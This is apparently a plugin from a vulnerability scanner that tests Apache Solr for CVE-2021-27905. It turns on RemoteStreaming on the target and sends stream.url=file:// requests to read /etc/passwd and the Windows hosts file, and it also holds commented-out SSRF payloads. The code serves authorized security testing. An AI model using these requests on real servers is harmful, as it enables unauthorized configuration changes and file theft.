#!/usr/bin/env python3
# -*- coding:utf-8 -*-

'''
Solr SSRF/任意文件读取
    CVE-2021-27905
        Payload: https://vulhub.org/#/environments/solr/Remote-Streaming-Fileread/
                 https://www.freebuf.com/vuls/279278.html

当Solr不启用身份验证时, 攻击者可以直接制造请求以启用特定配置, 最终导致SSRF或任意文件读取
'''

from payloads.ApacheSolr.tool_enable import enable
from lib.initial.config import config
from lib.tool import check
from PluginManager import Vuln_Scan

class Scan(Vuln_Scan):
    def __init__(self):
        self.payloads = [
            # * SSRF
            # {'path': 'solr/{DBNAME}/replication?command=fetchindex&masterUrl=http://DNSDOMAIN'},
            # {'path': '{DBNAME}/replication?command=fetchindex&masterUrl=http://DNSDOMAIN'},
            # {'path': 'replication?command=fetchindex&masterUrl=http://DNSDOMAIN'},
            # * FileRead
            {'path': 'solr/{DBNAME}/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'},
            {'path': 'solr/{DBNAME}/debug/dump?param=ContentStreams&stream.url=file:///C:\Windows\System32\drivers\etc\hosts'},
            {'path': 'solr/{DBNAME}/debug/dump?param=ContentStreams&stream.url=file:///C:/Windows/System32/drivers/etc/hosts'},
            {'path': '{DBNAME}/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'},
            {'path': '{DBNAME}/debug/dump?param=ContentStreams&stream.url=file:///C:\Windows\System32\drivers\etc\hosts'},
            {'path': '{DBNAME}/debug/dump?param=ContentStreams&stream.url=file:///C:/Windows/System32/drivers/etc/hosts'},
            {'path': 'debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'},
            {'path': 'debug/dump?param=ContentStreams&stream.url=file:///C:\Windows\System32\drivers\etc\hosts'},
            {'path': 'debug/dump?param=ContentStreams&stream.url=file:///C:/Windows/System32/drivers/etc/hosts'},
        ]
    
    def POC(self, clients):
        client = clients.get('reqClient')
        
        vul_info = {
            'app_name': 'ApacheSolr',
            'vul_type': 'SSRF/FileRead',
            'vul_id': 'CVE-2021-27905',
        }

        if not config.get('Solr-RemoteStreaming'):
            enable(client)                              # * 开启Solr的RemoteStreaming
        if not config.get('Solr-RemoteStreaming'):
            return None                                 # * 如果开启失败, 退出

        for payload in self.payloads:                            # * Payload
            path = payload['path'].format(DBNAME=config.get('Solr-db_name'))    # * Path

            res = client.request(
                'get',
                path,
                allow_redirects=False,
                vul_info=vul_info
            )
            if res is None:
                continue

            if (check.check_res_fileread(res.text)):
                results = {
                    'Target': res.request.url,
                    'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']],
                    'Request': res
                }
                return results
        return None
    
    def EXP(self, clients):
        pass

    def Start(self, clients):
        return self.POC(clients)
